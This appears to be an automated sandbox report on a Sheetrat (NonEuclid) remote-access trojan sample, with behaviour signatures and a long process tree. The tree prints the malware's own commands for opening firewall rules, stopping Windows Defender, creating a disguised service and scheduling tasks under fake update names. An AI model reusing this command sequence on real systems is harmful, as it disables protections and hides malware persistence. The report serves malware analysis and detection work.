Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
01/07/2026, 23:05
General
- Target x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe
- Size 402KB
- Sample260701-23a6tsht3s
- SHA256 8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8
Score
10/10
Malware Config
Signatures
- Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Detects Sheetrat Payload 3 IoCs
Sheetrat aka NonEuclid RAT is a trojan written in C#.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 8 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs
- Modifies firewall policy service 3 TTPs 3 IoCs
- Modifies security service 2 TTPs 1 IoCs
- UAC bypass 3 TTPs 32 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Creates new service(s) 2 TTPs
- Executes dropped EXE 26 IoCs
- Loads dropped DLL 64 IoCs
- Stops running service(s) 4 TTPs
- Windows security modification 2 TTPs 5 IoCs
- Checks whether UAC is enabled 1 TTPs 16 IoCs
- Enumerates connected drives 3 TTPs 30 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Drops file in System32 directory 9 IoCs
- Drops file in Windows directory 64 IoCs
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Time Discovery 1 TTPs 4 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Modifies data under HKEY_USERS 27 IoCs
- Modifies registry class 7 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 48 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe"C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe"2⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- UAC bypass
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe" enable=yes & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe" enable=yes4⤵
- Modifies Windows Firewall
- Loads dropped DLL
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Consolidator_1a9ed8ee" /F3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Consolidator_1a9ed8ee" /XML "C:\Users\Admin\AppData\Local\Temp\2941d00f-aaae-4426-a62e-05d0a158024c.xml" /F3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_d8840538" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_d8840538" /XML "C:\Users\Admin\AppData\Local\Temp\89061421-c76d-41a4-a05e-ca24a171e5b7.xml" /F3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_51ee9ad8" /F3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_51ee9ad8" /XML "C:\Users\Admin\AppData\Local\Temp\5e74a8d9-aaf4-4407-831f-c9716e559f1c.xml" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 8 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\audiodg.exe" /RL HIGHEST & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 8 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\audiodg.exe" /RL HIGHEST4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S3⤵
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Runtime Broker.exe" enable=yes & exit3⤵
- System Time Discovery
-
-
C:\Windows\SYSTEM32\CMD.exe"CMD" /c schtasks /delete /F /TN "sihost" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /delete /F /TN "sihost"4⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "sihost" /tr "C:\Windows\Runtime Broker.exe" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /tn "sihost" /tr "C:\Windows\Runtime Broker.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc" stop WinDefend3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc" config WinDefend start= demand3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S3⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D3⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S3⤵
-
-
C:\Windows\Runtime Broker.exe"C:\Windows\Runtime Broker.exe"3⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Runtime Broker.exe" enable=yes & exit4⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit5⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit6⤵
- Modifies Windows Defender DisableAntiSpyware settings
- UAC bypass
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit8⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit9⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit10⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit11⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit12⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit13⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit14⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit15⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit16⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S16⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S15⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D15⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S15⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D15⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S15⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S14⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"14⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"14⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"14⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_2d5a357b" /F14⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D14⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S13⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"13⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"13⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"13⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Consolidator_af09e46d" /F13⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Consolidator_af09e46d" /XML "C:\Users\Admin\AppData\Local\Temp\030f2eeb-81be-4c8d-8769-25920842464b.xml" /F13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S13⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_6a33fb15" /F13⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_6a33fb15" /XML "C:\Users\Admin\AppData\Local\Temp\f2a21bb9-175f-43ce-aa29-c0ee4ef9c81a.xml" /F13⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D13⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S13⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S12⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D12⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"12⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S12⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"12⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_38480ee5" /F12⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_38480ee5" /XML "C:\Users\Admin\AppData\Local\Temp\4f2f3231-5ec8-4b42-ae23-5d450a1a5609.xml" /F12⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_5c4ac165" /F12⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_5c4ac165" /XML "C:\Users\Admin\AppData\Local\Temp\599a1f2e-e04f-4252-8ccd-edddc0d51733.xml" /F12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S12⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D12⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S11⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"11⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"11⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D11⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_117382df" /F11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S11⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_117382df" /XML "C:\Users\Admin\AppData\Local\Temp\7846a9fa-fed3-4104-823b-a9847d69edbe.xml" /F11⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_7bca372d" /F11⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_7bca372d" /XML "C:\Users\Admin\AppData\Local\Temp\2ef1b9cf-9727-4ba9-85df-b437672cf7df.xml" /F11⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S11⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D11⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S10⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"10⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"10⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"10⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_dcd3c922" /F10⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_dcd3c922" /XML "C:\Users\Admin\AppData\Local\Temp\9d34d12d-749b-4f69-99c6-4d418ccd969a.xml" /F10⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_de4fc510" /F10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S10⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_de4fc510" /XML "C:\Users\Admin\AppData\Local\Temp\ddfc9953-d8a1-4792-af3c-39e353f22769.xml" /F10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "FamilySafetyMonitor_41502488" /F10⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "FamilySafetyMonitor_41502488" /XML "C:\Users\Admin\AppData\Local\Temp\5a3bc1ec-3291-47cc-bfb6-c845e5c42495.xml" /F10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D10⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S10⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S9⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"9⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"9⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"9⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_acda0e1e" /F9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D9⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_acda0e1e" /XML "C:\Users\Admin\AppData\Local\Temp\d98651a0-2f89-4654-b9d5-9dfc8d4a8505.xml" /F9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S9⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "SystemSoundsService_15eea6fb" /F9⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "SystemSoundsService_15eea6fb" /XML "C:\Users\Admin\AppData\Local\Temp\3b47a44e-8f8d-4b56-8529-42e27114ae90.xml" /F9⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S9⤵
-
-
